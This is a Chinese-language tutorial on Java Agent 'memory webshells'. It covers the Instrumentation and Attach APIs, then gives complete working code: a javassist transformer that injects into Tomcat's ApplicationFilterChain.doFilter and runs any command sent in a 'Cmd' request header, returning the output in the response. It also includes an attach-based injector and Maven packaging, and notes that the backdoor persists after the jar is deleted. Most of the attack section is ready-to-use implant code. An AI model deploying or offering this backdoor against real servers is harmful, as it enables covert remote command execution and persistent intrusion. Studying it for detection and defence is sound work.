JavaAgent内存马

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去

说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

Java Agent 支持两种方式进行加载:

premain(了解)

实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)

首先创建一个demo

package org.example;
import java.lang.instrument.Instrumentation;
public class demo {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);

    }
}

打包成jar包

<build>
        <pluginManagement>
            <plugins>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-jar-plugin</artifactId>
                    <version>2.2</version>
                    <configuration>
                        <archive>
                            <manifestEntries>
                                <Premain-Class>org.example.demo</Premain-Class>
                                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                                <Can-Retransform-Classes>true</Can-Retransform-Classes>
                            </manifestEntries>
                        </archive>
                        <skip>true</skip>
                    </configuration>
                </plugin>
            </plugins>
        </pluginManagement>
    </build>

<Premain-Class>:指定了项目中的主类(Main Class)。

<Can-Redefine-Classes>:设定是否允许重新定义已加载的类。

<Can-Retransform-Classes>:设定是否允许对已加载的类进行转换。

再写一个普通的java程序

package org.example;
public class Main {
    public static void main(String[] args) {
        System.out.println("Hello world!");
    }
}

也打包成jar包

<build>
        <pluginManagement>
            <plugins>
                <plugin>

                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-jar-plugin</artifactId>
                    <version>2.2</version>
                    <configuration>
                        <archive>
                            <manifestEntries>
<!--                                <Premain-Class>org.example.demo</Premain-Class>-->
<!--                                <Can-Redefine-Classes>true</Can-Redefine-Classes>-->
<!--                                <Can-Retransform-Classes>true</Can-Retransform-Classes>-->
                                <Main-Class>org.example.Main</Main-Class>
                            </manifestEntries>
                        </archive>
                        <skip>true</skip>
                    </configuration>
                </plugin>
            </plugins>
        </pluginManagement>
    </build>

因为是启动时加载,所以运行方式如下

java -javaagent:demo.jar -jar main.jar

image-20230904100741924

因为demo中的premain没有接收到参数agentArgs , 所以打印出null

传参如下

image-20230904101121381

可以发现这个demo.jar的premain比main.jar的main先执行

premain还有另外一个参数Instrumentation inst 这个该如何使用?

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

下面是几个常用的方法:

addTransformer

addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器

void
    addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void
    addTransformer(ClassFileTransformer transformer);

ClassFileTransformer 接口如下

public interface ClassFileTransformer {
    default byte[]
    transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer)
        throws IllegalClassFormatException {
        return null;
    }
    
    default byte[]
    transform(  Module              module,
                ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer)
        throws IllegalClassFormatException {

        // invoke the legacy transform method
        return transform(loader,
                         className,
                         classBeingRedefined,
                         protectionDomain,
                         classfileBuffer);
    }
}

这样当类加载的时候,会进入我们自己写的 ClassFileTransformer 接口的实现类 中的 transform 函数进行拦截

getAllLoadedClasses

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

retransformClasses

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

agentmain

实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

上面介绍的 premain 方法是在 JDK 1.5中提供的,所以在 jdk 1.5 的时候开发者只能在 main 加载之前添加手脚,但是很多时候例如我们内存马注入的情况都是处于 JVM 已运行了的情况,所以上面的方法就不是很有用,不过在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent ,然而 Attach API 在 tool.jar 中,jvm 启动时是默认不加载该依赖的,需要我们在 classpath 中额外进行指定

启动后加载 agent 通过新的代理操作来实现:agentmain,使得可以在 main 函数开始运行之后再运行

和之前的 premain 函数一样,我们可以编写 agentmain 函数的 Java 类

public class demo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
        inst.addTransformer(new demoTransformer(),true);
    }
}

demoTransformer:

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class demoTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

        System.out.println("-->demoTransformer");

        
        return ClassFileTransformer.super.transform(loader, className, classBeingRedefined, protectionDomain, classfileBuffer);
    }
}

然后将其编译打包成jar包

<build>
        <pluginManagement>
            <plugins>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-jar-plugin</artifactId>
                    <version>2.2</version>
                    <configuration>
                        <archive>
                            <manifestEntries>
                                <Agent-Class>org.example.demo</Agent-Class>
                                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                                <Can-Retransform-Classes>true</Can-Retransform-Classes>
<!--                                <Main-Class>org.example.Main</Main-Class>-->
                            </manifestEntries>
                        </archive>
                        <skip>true</skip>
                    </configuration>
                </plugin>
            </plugins>
        </pluginManagement>
    </build>

在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api。存在于 com.sun.tools.attach 里面有两个重要的类。

来查看一下该包中的内容,这里有两个比较重要的类,分别是 VirtualMachine 和 VirtualMachineDescriptor,其中我们重点关注 VirtualMachine 类

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用

Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理(agent)

VirtualMachineDescriptor是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。

写个测试类

把agent.jar注入到当前进程

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Main {
        public static void main(String[] args) throws Exception{
            String path = "agent.jar";//路径
            List<VirtualMachineDescriptor> list = VirtualMachine.list();
            for (VirtualMachineDescriptor v:list){
                System.out.println(v.displayName());
                if (v.displayName().contains("org.example.Main")){
                    // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                    VirtualMachine vm = VirtualMachine.attach(v.id());
                    // 将我们的 agent.jar 发送给虚拟机
                    System.out.println(v.id());
                    vm.loadAgent(path);
                    vm.detach();
                }
            }
        }
}

运行结果:

image-20230904161517636

如果报错,尝试添加-Djdk.attach.allowAttachSelf=true

内存马写入

这里使用tomcat进行测试

Java web中,用户的请求到达Servlet之前,一定会经过 Filter,在学习Tomcat Filter内存马中了解到,发送请求一定经过org.apache.catalina.core.ApplicationFilterChain的doFilter方法,而且在还调用了两次

image-20230906110414522

同时在 doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回

image-20230906111901162

首先注册我们的 demoTransformer ,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义

package org.example;
import java.lang.instrument.Instrumentation;
public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
        String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
        for (Class clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals(CLASSNAME)) {
                inst.addTransformer(new demoTransformer(), true);
                inst.retransformClasses(clazz);

            }
        }
    }
}

demoTransformer 代码如下:

package org.example;
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class demoTransformer implements ClassFileTransformer{

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

        String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
        String CLASSMETHOD = "doFilter";

        try {
            if (className.replace("/", ".").equals(CLASSNAME)) {
                ClassPool pool = ClassPool.getDefault();
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    pool.insertClassPath(ccp);
                    
                }

             
                CtClass clazz = pool.get(CLASSNAME);
                CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD);
                method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
                        "String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    Process process = Runtime.getRuntime().exec(cmd);\n" +
                        "    java.io.InputStream input = process.getInputStream();\n" +
                        "    java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
                        "    StringBuilder sb = new StringBuilder();\n" +
                        "    String line = null;\n" +
                        "    while ((line = br.readLine()) != null){\n" +
                        "        sb.append(line + \"\\n\");\n" +
                        "    }\n" +
                        "    br.close();\n" +
                        "    input.close();\n" +
                        "    response.getOutputStream().print(sb.toString());\n" +
                        "    response.getOutputStream().flush();\n" +
                        "    response.getOutputStream().close();\n" +
                        "}");
                byte[] classbyte = clazz.toBytecode();
                clazz.detach();
                return classbyte;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return classfileBuffer;
    }


}

因为所有已加载的类都会经过transform方法,所有要用if进行判断,然后就是使用javassist修改字节码

需要注意的是

ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
    pool.insertClassPath(ccp);

}

这一段代码的作用是在当前类已经被定义的情况下,将它的字节码添加到ClassPool中。

具体来说,首先判断classBeingRedefined (transform方法参数)是否为null,如果不为null,则说明当前类已经被定义过了。那么就可以创建一个ClassClassPath对象,该对象封装了classBeingRedefined的字节码文件的路径,然后将它添加到ClassPool中。

添加之后,ClassPool就可以找到并加载该类的字节码文件,这样就能够在字节码上进行修改和操作了。

后面就是在doFilter方法前面插入了内存马代码,从header头中读取Cmd的值作为命令,然后将命令执行结果通过response返回给用户

method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
                        "String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    Process process = Runtime.getRuntime().exec(cmd);\n" +
                        "    java.io.InputStream input = process.getInputStream();\n" +
                        "    java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
                        "    StringBuilder sb = new StringBuilder();\n" +
                        "    String line = null;\n" +
                        "    while ((line = br.readLine()) != null){\n" +
                        "        sb.append(line + \"\\n\");\n" +
                        "    }\n" +
                        "    br.close();\n" +
                        "    input.close();\n" +
                        "    response.getOutputStream().print(sb.toString());\n" +
                        "    response.getOutputStream().flush();\n" +
                        "    response.getOutputStream().close();\n" +
                        "}");

写完这个马后打包成jar,注意:一定要将依赖打包进jar里,避免没有依赖无法执行,然后报错

<build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>3.3.0</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Agent-Class>org.example.AgentMain</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                     
                        </manifestEntries>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

打包完成后得到两个jar,使用的是第二个,第一个没有依赖,而且MANIFEST.MF不完整

image-20230906113952195

得到jar后,需要一个程序将这个jar注入到想要的进程中

package org.example;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Main {
    public static void main(String[] args) throws Exception{

        String path = "agentDemo-1.0-SNAPSHOT-jar-with-dependencies.jar";//路径
        List<VirtualMachineDescriptor> list = VirtualMachine.list();//遍历正在运行的JVM
        for (VirtualMachineDescriptor v:list){
            System.out.println(v.id()+"  "+v.displayName());
            if (v.displayName().contains("org.apache.catalina.startup.Bootstrap")){//判断是否为目标进程
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                // 将我们的jar 发送给虚拟机
                vm.loadAgent(path);
                vm.detach();
                System.out.println("OK");
            }
        }

    }
}

代码编写到这就完成了

尝试运行:

首先运行一个tomcat项目,使用命令jps - l可以看到运行的java进程和pid

image-20230906114815445

这个org.apache.catalina.startup.Bootstrap就是运行的tomcat 进程,如果是其他名字,需要去修改一下上面的Main函数代码

然后运行注入代码即可,因为没写注入成功的提示,所有没有任何反应

命令执行测试:

image-20230906115359672

因为调用了两次doFilter,所以弹出两次计算器

image-20230906115526506

因为执行命令ipconfig 会出现一些中文字符,返回会报错,所有要修改优化一下返回结果的代码

修改一下下面的代码即可

image-20230906142511637

修改后:

image-20230906142727571

由于内存马要求无文件落地,这里把注入的jar删除掉,ma还是能够正常运行的